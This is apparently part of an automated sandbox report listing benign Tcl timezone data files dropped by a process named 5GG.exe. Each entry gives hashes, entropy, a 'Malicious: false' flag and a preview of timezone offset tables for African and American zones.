SHA-512:	53DCC6DF7C3E0B00A6D98A8DCC4988C8CFD6B53CC89E6F8D32DA41CB532A62D9C6A823675C5039F5639CE0D423F6D571F46F5B93FFC7EFFB4EDFFBF89D46AA12
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Nairobi) {.. {-9223372036854775808 8836 0 LMT}.. {-1946168836 9000 0 +0230}.. {-1309746600 10800 0 EAT}.. {-1261969200 9000 0 +0230}.. {-1041388200 9900 0 +0245}.. {-865305900 10800 0 EAT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Ndjamena

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.856754881865487
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2DjUfDm2OHNseoH1axCXFHzaSmkFWTvF9:MB862DjULmdHPC1XNzaS3yz
MD5:	EDB548348E590C8CFE04ED172D96B86C
SHA1:	AD3B631FB03819772164402E202AFA781687F597
SHA-256:	9ADA5F5AFB25E823E1F0E8AD2489AAA1C09F01356634A9403670D7AB21CA2E2C
SHA-512:	17E396A9BE497077B774AD1108CC8760ED35FC92F65FFF070F9ACD3C4FB67A335C1C57DF1CCB1570DE14B708EFCA0063990A969E30759C9A47731DA45ED25EFE
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Ndjamena) {.. {-9223372036854775808 3612 0 LMT}.. {-1830387612 3600 0 WAT}.. {308703600 7200 1 WAST}.. {321314400 3600 0 WAT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Niamey

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.871519187180041
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DcdhA9Ff2DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2Dsh2f2D1
MD5:	0134039CD1666E983A9B6E43ABD6AF59
SHA1:	A2A99345390F4D17C892CEADE58C604257686764
SHA-256:	B517120AD8DB3F21EAB4E44A78001EE856EB4EA35852C54CCA96D38887DEBCFA
SHA-512:	E5911ADD3D776D87ACFC986C4D2564E3ED9AB12C67F23391ED35FF2A31AD8314B873E31DB8DA4D5E0DAEA12BE34110A8F0C27C9C6126977BAD51C6AD5CDFA39B
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Niamey) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Nouakchott

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	188
Entropy (8bit):	4.909962899502589
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcboGb+DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2Dqbb+c
MD5:	550E482599C2F4280F2C258019BB2547
SHA1:	A39045BEF313094CEDC100A7D695AE51BC9E498D
SHA-256:	64CAF2BF9D45095DF97F419714D5617CF6300ACDB544B621DCE1D594AA9B910C
SHA-512:	4FD29C5B4C0D2BDE69C437E9BF4F08A11E1DAAA689B69F28F3551F550BDCCDD055E4C1A241EDB2FA48B18825AFF792F4860F55983E106EA8224F1D87ED4F7546
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Nouakchott) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Ouagadougou

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.920023025906233
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcXCZDcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2D1DBS
MD5:	6CFC4E938E50C9B591F8CC42A14FA82A
SHA1:	FCE14A5CA62C9005C76D27B849A238E76C834F8A
SHA-256:	03B9C1FE350B5E9F6F333F9519FA394DCC562308D9388A903AF3D3FECEBDC762
SHA-512:	98F22F1D23A9930276A2D306A1473E64DC43547A16CFD01226E4F030A26A3CC4FDED77F790583CC5C078FC6DFCCE81C16A50879AE46A0D3A6F1FA98373F413C7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Ouagadougou) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Porto-Novo

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.893842293207225
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DcyTKM0DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2DQD4yn
MD5:	6D979FCD225D5431C7391AE568C6409F
SHA1:	6C9DCD222061CC00FD386773C6BB2861F3429A60
SHA-256:	8FB8692DB9281AE2B087D704168BFD47D3D0901781FEF65BFD62FCB213BA6B50
SHA-512:	32AFA6AF6BFC3D42CA636DD2B96906048EF1ADFBB135BB7E7B77C444FED99FDABB84FBBADF56EC63828FFA7B3371191FF1311822B1C75241EBD9CF602467088E
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Porto-Novo) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Sao_Tome

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.818597723513168
Encrypted:	false
SSDEEP:	6:SlSWB9eg/2DXDm2OHH5oHvzdoH1aNbbFHRMy:MB862DTmdHH5CvzdC16bZRMy
MD5:	28A5967C797F4B38FB63F823D6F07168
SHA1:	17872E91683B884191D2E4C777FB79DCE6D73EE7
SHA-256:	BA1D60DF2B41320F92A123A714E17E576C89383526B96E0541A464C3FBA415B7
SHA-512:	B335E3D3268631F3A71F4BAD59740F3A5222344E8223C201B8FE885BAA7F1A550FA7778E498D6DC2111F41053856F50B21413AECCE84B80833EC8176F2A1009C
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Sao_Tome) {.. {-9223372036854775808 1616 0 LMT}.. {-2713912016 -2205 0 LMT}.. {-1830384000 0 0 GMT}.. {1514768400 3600 0 WAT}.. {1546304400 0 0 GMT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Timbuktu

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.905303708777235
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcHdDcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DwdDBS
MD5:	F2D7F7BC4EA3629EC7F0E45300A0CFD2
SHA1:	E7594D378C5DCFEB1E87E13AC79A026260D2E630
SHA-256:	9D8009ACAB019B32B1E87AB10E0AC3765ABCABE8066318DA8CA4905D41562F72
SHA-512:	795E58172907020C85CF0B10BBA35842D5F92872CCB3382DFDC787BAA504C79927FA23BC3104AD63541A95C44CA80977E8247846DE918A0B00963B970F4823D2
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Timbuktu) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Tripoli

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.151253074491018
Encrypted:	false
SSDEEP:	12:MB862DrmdHrCDWR+f7Zn9ueRSmNvlTtuyI/ZBv8dq8Jw4VFZBZYEuAENSfp8kSYx:5veuDkWx3NdT18kbjjAkxTx
MD5:	2DF9B050D82B06EB89DA908C31C1F1C9
SHA1:	CB294E12560A98D5CEA3BA7004B5519B6C22BAAC
SHA-256:	B447B6B1C351E77F22A2D77C0437F2BBB7D8BDFDFDC3D6285E0D260519CC7110
SHA-512:	BBE281D551E9F8DA7B6BB08D809177615410A11E4B1184ABD220EA8B1F355B2BBC090C6BAAF7E07FD61286891388ECD4026D4433C4E4B6A8D201F8D95E174532
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Tripoli) {.. {-9223372036854775808 3164 0 LMT}.. {-1577926364 3600 0 CET}.. {-574902000 7200 1 CEST}.. {-512175600 7200 1 CEST}.. {-449888400 7200 1 CEST}.. {-347158800 7200 0 EET}.. {378684000 3600 0 CET}.. {386463600 7200 1 CEST}.. {402271200 3600 0 CET}.. {417999600 7200 1 CEST}.. {433807200 3600 0 CET}.. {449622000 7200 1 CEST}.. {465429600 3600 0 CET}.. {481590000 7200 1 CEST}.. {496965600 3600 0 CET}.. {512953200 7200 1 CEST}.. {528674400 3600 0 CET}.. {544230000 7200 1 CEST}.. {560037600 3600 0 CET}.. {575852400 7200 1 CEST}.. {591660000 3600 0 CET}.. {607388400 7200 1 CEST}.. {623196000 3600 0 CET}.. {641775600 7200 0 EET}.. {844034400 3600 0 CET}.. {860108400 7200 1 CEST}.. {875919600 7200 0 EET}.. {1352505600 3600 0 CET}.. {1364515200 7200 1 CEST}.. {1382662800 7200 0 EET}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Tunis

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.150944563639585
Encrypted:	false
SSDEEP:	12:MB862DHmdHjCvbB/lxRjntMVyoKCyFWeey0XSe/OSyHaCgmvLOcSFQSFeSTC6ZPJ:5LemvbplxRhbv+yuh2tIee6kvcw9Cy
MD5:	0C99335A41D33AA8BC1EDA0CB4CDCBF5
SHA1:	5CABC28D318FA5B8307429EA571FFF91EB8E1252
SHA-256:	0760D1028E733888E43E7F1E057217DC2B52786029FCEC67B27EB69CC6A54938
SHA-512:	C8FE685ACA46FD4836F3AABC15833F294E5EBED123A487D04E74A8C5668BDFAFB96D2326760452A6E5A1B9CC25AC6C3918D8C10A7F8EF737456640E3000BBA2F
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Tunis) {.. {-9223372036854775808 2444 0 LMT}.. {-2797202444 561 0 PMT}.. {-1855958961 3600 0 CET}.. {-969242400 7200 1 CEST}.. {-950493600 3600 0 CET}.. {-941940000 7200 1 CEST}.. {-891136800 3600 0 CET}.. {-877827600 7200 1 CEST}.. {-857257200 3600 0 CET}.. {-844556400 7200 1 CEST}.. {-842918400 3600 0 CET}.. {-842223600 7200 1 CEST}.. {-828230400 3600 0 CET}.. {-812502000 7200 1 CEST}.. {-796269600 3600 0 CET}.. {-781052400 7200 1 CEST}.. {-766634400 3600 0 CET}.. {231202800 7200 1 CEST}.. {243903600 3600 0 CET}.. {262825200 7200 1 CEST}.. {276044400 3600 0 CET}.. {581122800 7200 1 CEST}.. {591145200 3600 0 CET}.. {606870000 7200 1 CEST}.. {622594800 3600 0 CET}.. {641516400 7200 1 CEST}.. {654649200 3600 0 CET}.. {1114902000 7200 1 CEST}.. {1128038400 3600 0 CET}.. {1143334800 7200 1 CEST}.. {1162083600 3600 0 CET}.. {11747

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Windhoek

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1649
Entropy (8bit):	3.9974091170263066
Encrypted:	false
SSDEEP:	48:5t+Lmcz0iMHHWMbnHoMcHiM0H+MCySHr/MDHqMafHO8MwHJMHHOMHSHWMHHXM5Hs:OLjQDI6jZ2WFcv
MD5:	4846FB13467BA93EB134D88228D7F534
SHA1:	477FC6144B7DF365606A2E44EF1430F8DF6FB841
SHA-256:	DFC3D1FC182B315B31D999BC103C264BD205EB16F971C8636003A71170D7BD7C
SHA-512:	A719F5083F66CE44FE047880A10B2ED04B66E01C7F0F7DADAE2FFB95172308F091D669BCFED5A236D2A0F80A4A1D78DA7A778DDE3FAECB40170ECDA705573769
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Windhoek) {.. {-9223372036854775808 4104 0 LMT}.. {-2458170504 5400 0 +0130}.. {-2109288600 7200 0 SAST}.. {-860976000 10800 1 SAST}.. {-845254800 7200 0 SAST}.. {637970400 7200 0 CAT}.. {764200800 3600 1 WAT}.. {778640400 7200 0 CAT}.. {796780800 3600 1 WAT}.. {810090000 7200 0 CAT}.. {828835200 3600 1 WAT}.. {841539600 7200 0 CAT}.. {860284800 3600 1 WAT}.. {873594000 7200 0 CAT}.. {891734400 3600 1 WAT}.. {905043600 7200 0 CAT}.. {923184000 3600 1 WAT}.. {936493200 7200 0 CAT}.. {954633600 3600 1 WAT}.. {967942800 7200 0 CAT}.. {986083200 3600 1 WAT}.. {999392400 7200 0 CAT}.. {1018137600 3600 1 WAT}.. {1030842000 7200 0 CAT}.. {1049587200 3600 1 WAT}.. {1062896400 7200 0 CAT}.. {1081036800 3600 1 WAT}.. {1094346000 7200 0 CAT}.. {1112486400 3600 1 WAT}.. {1125795600 7200 0 CAT}.. {1143936000 3600 1 WAT}.. {1157245200 7200

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Adak

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8447
Entropy (8bit):	3.867931581740766
Encrypted:	false
SSDEEP:	96:6hvOs5vveFaHU6lgqN/zNMkixlrxYTMcmo1LWF59:6hvOstgqN/zNMkArxiZmf
MD5:	DF52E726B33FA47EB115C1233614E101
SHA1:	26B0E49022FCB929F0160617F9C9D2DBEDC63610
SHA-256:	77231D179260C08690A70AEE6C2517E4B621ED4794D9AEEA7040539F4FF05111
SHA-512:	48AAF25419E07B06E076B0E19F9A0C27EB257556E62FD8F7B2AA963A817823DD89D33AB6AFEAAC2EF2230361D76776355E19CC2BBBB4D19536F823A347AC8AA4
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Adak) {.. {-9223372036854775808 44002 0 LMT}.. {-3225223727 -42398 0 LMT}.. {-2188944802 -39600 0 NST}.. {-883573200 -39600 0 NST}.. {-880196400 -36000 1 NWT}.. {-769395600 -36000 1 NPT}.. {-765374400 -39600 0 NST}.. {-757342800 -39600 0 NST}.. {-86878800 -39600 0 BST}.. {-31496400 -39600 0 BST}.. {-21466800 -36000 1 BDT}.. {-5745600 -39600 0 BST}.. {9982800 -36000 1 BDT}.. {25704000 -39600 0 BST}.. {41432400 -36000 1 BDT}.. {57758400 -39600 0 BST}.. {73486800 -36000 1 BDT}.. {89208000 -39600 0 BST}.. {104936400 -36000 1 BDT}.. {120657600 -39600 0 BST}.. {126709200 -36000 1 BDT}.. {152107200 -39600 0 BST}.. {162392400 -36000 1 BDT}.. {183556800 -39600 0 BST}.. {199285200 -36000 1 BDT}.. {215611200 -39600 0 BST}.. {230734800 -36000 1 BDT}.. {247060800 -39600 0 BST}.. {262789200 -36000 1 BDT}.. {278510400 -39600 0 BST}.. {29423880

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Anchorage

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8685
Entropy (8bit):	3.9620252256806845
Encrypted:	false
SSDEEP:	96:esKLO6KLC9+j1giaJCUbtp0nFI+g/iexpCVaBnNnt61nctE1:etLhN9DiaJCUbPI+D/iMpCIBSuk
MD5:	BFEACEA04AAA8A69A9AC71CF86BCC15C
SHA1:	1693971B8AAA35021BA34799FB1B9FADC3DA0294
SHA-256:	DE7FBE2B3ED780C6B82099E1E249DD41F4452A3ADB9DD807B1D0EC06049C2302
SHA-512:	E94112A2A5F268C03C58CE3BB4C243B2B9B0FC17CB27FDD58BCD2CCC8D377B805C87A552AE7DE1C5698C5F2C4B0FCAB00A3420B1DAD944C1A2F7A47CE7118F78
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Anchorage) {.. {-9223372036854775808 50424 0 LMT}.. {-3225223727 -35976 0 LMT}.. {-2188951224 -36000 0 AST}.. {-883576800 -36000 0 AST}.. {-880200000 -32400 1 AWT}.. {-769395600 -32400 1 APT}.. {-765378000 -36000 0 AST}.. {-86882400 -36000 0 AHST}.. {-31500000 -36000 0 AHST}.. {-21470400 -32400 1 AHDT}.. {-5749200 -36000 0 AHST}.. {9979200 -32400 1 AHDT}.. {25700400 -36000 0 AHST}.. {41428800 -32400 1 AHDT}.. {57754800 -36000 0 AHST}.. {73483200 -32400 1 AHDT}.. {89204400 -36000 0 AHST}.. {104932800 -32400 1 AHDT}.. {120654000 -36000 0 AHST}.. {126705600 -32400 1 AHDT}.. {152103600 -36000 0 AHST}.. {162388800 -32400 1 AHDT}.. {183553200 -36000 0 AHST}.. {199281600 -32400 1 AHDT}.. {215607600 -36000 0 AHST}.. {230731200 -32400 1 AHDT}.. {247057200 -36000 0 AHST}.. {262785600 -32400 1 AHDT}.. {278506800 -36000 0 AHST}.. {294235200 -3

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Anguilla

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.908728298285591
Encrypted:	false
SSDEEP:	6:SlSWB9vsM3y7p5oeSHAIgppON/290/8J5290ppv:MByMYbpwt290/8m90b
MD5:	1C3CE9F156ABECEAA794E8F1F3A7ADDB
SHA1:	6F84D0A424FD2DE85E3420EA320A186B277B0295
SHA-256:	F38610019C0A2C18AC71F5AA108B9647D9B5C01DCB55211AFB8312308C41FE70
SHA-512:	CA2DA6F9551E4DBF775D7D059F6F3399E0C4F2A428699726CD2A1B0BB17CCF5CDEEF645EE1759A2A349F3F29E0343600B89CE1F4659CF5D2B58280A381C018AD
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(America/Puerto_Rico)]} {.. LoadTimeZoneFile America/Puerto_Rico..}..set TZData(:America/Anguilla) $TZData(:America/Puerto_Rico)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Antigua

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	201
Entropy (8bit):	4.898881450964165
Encrypted:	false
SSDEEP:	6:SlSWB9vsM3y7p5oeSHAIgppON/290//MFe90ppv:MByMYbpwt290//V90b
MD5:	DB16FFE76D625DEC731AB6320F5EF9BF
SHA1:	D286994E03E4F82C08DE094B436FA098648AFADE
SHA-256:	561E58E11DC5A86CAE04B5CB40F43EFCFF9ABC0C841FAC094619E9C5E0B403F8
SHA-512:	8842B616205378AF78B0B2FC3F6517385845DE30FFD477A21ACFA0060D161FB6462A3C266DCFD54F101729446B8E1B2ECF463C9CF2E6CE227B2628A19AF365F9
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(America/Puerto_Rico)]} {.. LoadTimeZoneFile America/Puerto_Rico..}..set TZData(:America/Antigua) $TZData(:America/Puerto_Rico)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Araguaina

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	3.733307964154526
Encrypted:	false
SSDEEP:	48:5KChlvEw6kSSx5H4a8tf3fkuozd23t8VZDG8+GCRRRd:QIlvEwJSSxdF8tfMuozdCt8VZy8+GCRB
MD5:	9B01680A362EA7B462DC236F6A35E14C
SHA1:	456A5E771F6B749BFDB2BFD59836A6A930499881
SHA-256:	B1327CBEC20A21E3FF873E28A2EDFA271EE3A5C01933779300EABD6B185DA010
SHA-512:	E6C2F5C489BEA31B0AAC3CB1DB750AC2B665DAC0AC82C1CE6756E768305300297BA5E3B32EDEB9E1715452F02223E47674C4F2B1844920F664623C9F34309240
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Araguaina) {.. {-9223372036854775808 -11568 0 LMT}.. {-1767214032 -10800 0 -03}.. {-1206957600 -7200 1 -03}.. {-1191362400 -10800 0 -03}.. {-1175374800 -7200 1 -03}.. {-1159826400 -10800 0 -03}.. {-633819600 -7200 1 -03}.. {-622069200 -10800 0 -03}.. {-602283600 -7200 1 -03}.. {-591832800 -10800 0 -03}.. {-570747600 -7200 1 -03}.. {-560210400 -10800 0 -03}.. {-539125200 -7200 1 -03}.. {-531352800 -10800 0 -03}.. {-191365200 -7200 1 -03}.. {-184197600 -10800 0 -03}.. {-155163600 -7200 1 -03}.. {-150069600 -10800 0 -03}.. {-128898000 -7200 1 -03}.. {-121125600 -10800 0 -03}.. {-99954000 -7200 1 -03}.. {-89589600 -10800 0 -03}.. {-68418000 -7200 1 -03}.. {-57967200 -10800 0 -03}.. {499748400 -7200 1 -03}.. {511236000 -10800 0 -03}.. {530593200 -7200 1 -03}.. {540266400 -10800 0 -03}.. {562129200 -7200 1 -03}.. {571197600 -10800 0 -03}

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\Buenos_Aires

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	3.7664759014118188
Encrypted:	false
SSDEEP:	48:5p9uuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafwwfFC8OS0wi:jIu3pfe92jCs/VOHv2kdeRtnxafwwfF0
MD5:	2B9A1EDE5110B46E24F4726664EA1E3F
SHA1:	939D1A7A50544F34B318ACDB52BC6930FE453F6D
SHA-256:	BC86AC89121EC4AA302F6259CCC97EFFD7022DC6CEE3B291C57DA72B6EA0C558
SHA-512:	C204740DACBCECF2CC5CF4FEB687E86B9150512623203C999D6F4EB5FB246D07681A35C28D8445F6A50F49940C321E0AA5E51FE5A73B8ED076F29CEB5B4D4CA2
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/Buenos_Aires) {.. {-9223372036854775808 -14028 0 LMT}.. {-2372097972 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-7522

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\Catamarca

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2077
Entropy (8bit):	3.742645155048276
Encrypted:	false
SSDEEP:	48:5/nuuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafww3mC8OS0NC:Vuu3pfe92jCs/VOHv2kdeRtnxafww3mP
MD5:	3D2AF5714DFC392ED4BC976784D5A58A
SHA1:	9252DE40B6EF872E1D2F7CDD53DDD21145E93C5C
SHA-256:	A516BB0937977EF949D47B3C8675E30F1CA6C34F8BD298DCF6EBB943580D5317
SHA-512:	8D5FFDB5B578B8EA0291D3A21BDDE25F8301CB16B11AE794FFBA8DCFFE46F6AC5EC03D93E511061B132D84E69E5FAF1BB212837EB8A5A4B4BE517F783837E615
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/Catamarca) {.. {-9223372036854775808 -15788 0 LMT}.. {-2372096212 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-7522740

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\ComodRivadavia

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.72138001874583
Encrypted:	false
SSDEEP:	6:SlSWB9vsM3y7/MMXAXHAIgp/MMXmRN/290/MquQ90/MMXAy:MByMY/MYp/MrRt290/MquQ90/MK
MD5:	8A609667DE461CEDC1127BE38B161459
SHA1:	557D2D55DEA38D1CD1103E183F89C65F4016662B
SHA-256:	8CCD6FC77D55582938F1912B1BA66035882D1BFC18A797C631E5E89ABFBF570B
SHA-512:	DBAFDA069DB5FDBCBA11050AC91A733C1712BD6395939CFFFC5EAA78BD0B70B4AF2D9FB8954C6841CCF3AC5F8EDCF08E604D3F2CF67F1CBEA5EB6D3C4DC7F2FA
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(America/Argentina/Catamarca)]} {.. LoadTimeZoneFile America/Argentina/Catamarca..}..set TZData(:America/Argentina/ComodRivadavia) $TZData(:America/Argentina/Catamarca)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\Cordoba

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2043
Entropy (8bit):	3.7481312409221594
Encrypted:	false
SSDEEP:	48:5lxQuuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafww3mC8OS0n:/xBu3pfe92jCs/VOHv2kdeRtnxafww3j
MD5:	8C1D665A25E61CE462C2AC57687763BF
SHA1:	B5BBC26CF6A24BD5BEA42AC485D62C789B80905F
SHA-256:	FA75E274240A341C6BFE3539CFDC114D125AEAEA3161D3C2409347CF8046042A
SHA-512:	A89A7A92C025B87DA4CDFE99BF70CD0E64690D7BFE827DCBFBF0E91B188003FA26487E72B6B950D3BFC9C854B890E5936F414BBEAAD5F3F0673AC5EFE273CDF4
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/Cordoba) {.. {-9223372036854775808 -15408 0 LMT}.. {-2372096592 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-752274000

